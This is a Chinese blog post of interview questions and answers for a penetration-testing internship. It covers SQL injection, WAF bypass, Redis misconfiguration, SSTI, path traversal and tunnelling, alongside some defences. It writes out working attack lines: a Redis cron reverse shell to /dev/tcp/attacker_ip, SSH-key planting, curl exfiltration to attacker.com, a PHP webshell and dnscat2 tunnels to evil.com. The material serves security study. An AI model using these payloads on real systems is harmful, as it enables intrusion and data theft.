2025年渗透测试面试题总结-某腾某讯-技术安全实习生升级(题目+回答)

发布于:2025-04-03 ⋅ 阅读:(17) ⋅ 点赞:(0)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

 腾讯-技术安全实习生

SQL二次注入原理与防御

1. SQL二次注入原理

2. 二次注入修复方案

SQL注入绕过WAF技巧(过滤information关键词)

1. 关键词替代方案

2. 编码与混淆技术

3. 协议级绕过

Redis未授权访问攻防

1. 漏洞成因与攻击手法

2. 防御方案

渗透测试全流程解析

1. 信息收集阶段

2. 漏洞利用阶段

3. 后渗透阶段

CTF经典题目解析(Web方向)

1. 题目背景

2. 解题思路

文件下载漏洞利用与文件名探测

1. 漏洞利用方式

2. 文件名探测策略

命令执行漏洞不出网场景处理

1. 非交互式利用方法

2. 存储型利用

隧道通信技术详解

1. DNS隧道(dnscat2)

2. ICMP隧道(ptunnel)

3. HTTP隧道(reGeorg)

总结与扩展思考

 腾讯-技术安全实习生

sql二次注入原理

二次注入修复

sql注入过waf了解吗,若一个sql注入过滤了information关键词,怎么绕过

redis未授权访问

渗透测试完整流程

打CTF印象比较深刻的题目

文件下载漏洞利用方式

利用文件下载漏洞找文件名具体是找什么文件名(读取文件一般会读取哪些文件)(ctf中?实战中)

命令执行漏洞,http不出网有什么比较号的处理方法(发散一点说)

接上一题,通过隧道通信,详细讲讲通过上面类型的隧道,讲讲具体的操作

SQL二次注入原理与防御

1. SQL二次注入原理

核心机制:攻击数据经过存储后触发漏洞,区别于普通注入的即时执行。

  • 攻击流程
    1. 初次输入:用户提交恶意数据(如admin'-- ),数据被存入数据库
    2. 数据存储:系统未对存储数据进行安全处理(如转义或过滤)
    3. 二次调用:程序从数据库读取该数据并拼接SQL语句(如更新密码操作)
    4. 漏洞触发:恶意字符破坏SQL结构(如UPDATE users SET password='...' WHERE username='admin'-- '

隐蔽性分析

  • 初次输入可能通过严格过滤,但存储后的调用环节未做二次校验
  • 常见场景:用户注册、评论功能、数据导入导出

案例:某CMS用户注册漏洞

  • 注册用户名为test' OR 1=1-- ,后续密码重置功能触发SQL执行

2. 二次注入修复方案

多层次防御体系

  1. 输入层过滤:对特殊字符转义(如PHP的mysqli_real_escape_string
  2. 存储层处理:入库前统一编码(如Base64或HEX编码)
  3. 执行层防护:强制使用预编译语句(Java的PreparedStatement
  4. 权限隔离:数据库账户仅赋予最小必要权限(禁用FILE权限)

代码示例

python# 错误做法:直接拼接SQL cursor.execute(f"UPDATE users SET email='{email}' WHERE id={user_id}") # 正确做法:参数化查询 cursor.execute("UPDATE users SET email=%s WHERE id=%s", (email, user_id))

SQL注入绕过WAF技巧(过滤information关键词)

1. 关键词替代方案
  • 系统表绕过
    • MySQL:使用sys.schema_auto_increment_columns 替代information_schema
    • PostgreSQL:pg_catalog.pg_tables
  • 盲注技术
    • 布尔盲注:通过页面响应差异判断数据内容
    • 时间盲注:IF(SUBSTR(database(),1,1)='a', SLEEP(5), 0)
  • 错误回显利用
    • 触发报错泄露数据(如exp(~(SELECT * FROM (SELECT USER())a))
2. 编码与混淆技术
  • 十六进制编码0x696E666F726D6174696F6E(information的HEX)
  • 注释分割inf/**/ormation
  • 大小写混合InForMAtiOn
3. 协议级绕过
  • 分块传输:利用Transfer-Encoding: chunked绕过WAF检测
  • 参数污染id=1&id=2 UNION SELECT 1,2,3
  • HTTP参数拆分:通过换行符或特殊分隔符干扰WAF解析

Redis未授权访问攻防

1. 漏洞成因与攻击手法
  • 漏洞条件
    • Redis绑定0.0.0.0且未设置密码
    • 防火墙未限制外网访问(默认端口6379)
  • 攻击方式
    1. 写入SSH公钥
      bashredis-cli -h target_ip config set dir /root/.ssh config set dbfilename authorized_keys set x "\n\nssh-rsa AAAAB3NzaC...\n\n" save 
    2. 计划任务反弹Shell
      bashset cron "\n\n* * * * * bash -i >& /dev/tcp/attacker_ip/port 0>&1\n\n" config set dir /var/spool/cron config set dbfilename root save 
    3. Webshell写入
      通过Redis写入PHP文件到Web目录
2. 防御方案
  • 网络层:限制IP白名单访问,禁用公网暴露
  • 服务层:启用认证(requirepass配置项)
  • 系统层:以低权限用户运行Redis,禁用高危命令(rename-command FLUSHALL "")

渗透测试全流程解析

1. 信息收集阶段
  • 主动扫描:Nmap(端口扫描)、Masscan(全网段扫描)
  • 被动情报
    • WHOIS查询、证书透明度(CT Log)
    • GitHub搜索(代码泄露)、Shodan(设备指纹)
  • 社会工程:钓鱼邮件分析、员工信息收集(LinkedIn)
2. 漏洞利用阶段
  • 自动化工具
    • SQLMap(注入漏洞)、Metasploit(漏洞利用框架)
  • 手动验证
    • 越权测试(修改Cookie或ID参数)
    • 文件上传绕过(Content-Type、双后缀名)
3. 后渗透阶段
  • 权限维持
    • Windows:黄金票据、WMI订阅
    • Linux:SSH公钥植入、Crontab后门
  • 横向移动
    • 密码喷洒攻击(Kerberos协议)
    • Pass-the-Hash(NTLM哈希传递)
  • 数据窃取
    • 数据库导出(mysqldump)
    • 敏感文件打包压缩(tar + OpenSSL加密传输)

CTF经典题目解析(Web方向)

1. 题目背景
  • 场景描述:某次CTF中遇到一道基于Python Flask的SSTI(服务端模板注入)题目,过滤了{{}}等常见字符
2. 解题思路
  • 绕过过滤
    • 使用{% if request.args.x %}...{% endif %}触发代码执行
    • 通过|attr访问对象属性(如config|attr("__class__")
  • 利用链构造
    python{{ ''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['sys'].modules['os'].popen('cat flag').read() }}
  • 工具辅助:使用tplmap自动化检测SSTI漏洞

文件下载漏洞利用与文件名探测

1. 漏洞利用方式
  • 路径遍历
    • 经典Payload:../../../../etc/passwd
    • 编码绕过:..%252f..%252fetc/passwd(双重URL编码)
  • 文件类型绕过
    • 强制下载文本文件(file=image.jpg/.php
    • 结合文件包含漏洞(PHP的php://filter读取源码)
2. 文件名探测策略
  • CTF常见目标
    • /flag/flag.txt/app/secret_key
    • Web配置文件:/var/www/html/config.php
  • 实战敏感文件
    • 数据库凭证:/WEB-INF/classes/db.properties
    • 备份文件:backup.zipdatabase.sql.bak
    • 日志文件:/var/log/apache2/access.log

命令执行漏洞不出网场景处理

1. 非交互式利用方法
  • 延时盲注
    • sleep 5判断命令是否执行
    • 通过响应时间差异推断执行结果
  • DNS外带数据
    bashcurl http://attacker.com/$(whoami |base64).evil.com 
  • HTTP日志外带
    将命令结果写入Web日志,通过访问日志读取
2. 存储型利用
  • 写入Web目录
    bashecho "<?php system($_GET['cmd']);?>" > /var/www/html/shell.php 
  • 计划任务定时执行
    bash(crontab -l; echo "* * * * * curl http://attacker.com/$(date)") | crontab -

隧道通信技术详解

1. DNS隧道(dnscat2)
  • 服务端搭建
    bashdnscat2-server --domain=evil.com 
  • 客户端连接
    bashdnscat2-client --dns server=evil.com --secret=password 
  • 数据封装:将TCP流量封装在DNS查询的TXT记录中
2. ICMP隧道(ptunnel)
  • 服务端启动
    bashptunnel -x password 
  • 客户端配置
    bashptunnel -p server_ip -lp 1080 -da target_ip -dp 22 -x password 
  • 流量伪装:通过ICMP Echo Request/Reply传输数据
3. HTTP隧道(reGeorg)
  • 上传代理脚本:将tunnel.jsp 部署到目标Web服务器
  • 本地连接
    bashpython reGeorgSocksProxy.py -p 1080 -u http://target/tunnel.jsp 
  • 协议穿透:通过HTTP长连接转发TCP流量

总结与扩展思考

以上问题覆盖了Web安全的核心知识点,在实战中需注意:

  1. 漏洞组合利用:如文件下载+文件包含实现RCE
  2. 绕过技术的演进:AI生成绕过Payload(如GPT构造混淆语句)
  3. 防御纵深建设:从网络层到应用层的多层次防护

网站公告

今日签到

点亮在社区的每一天
去签到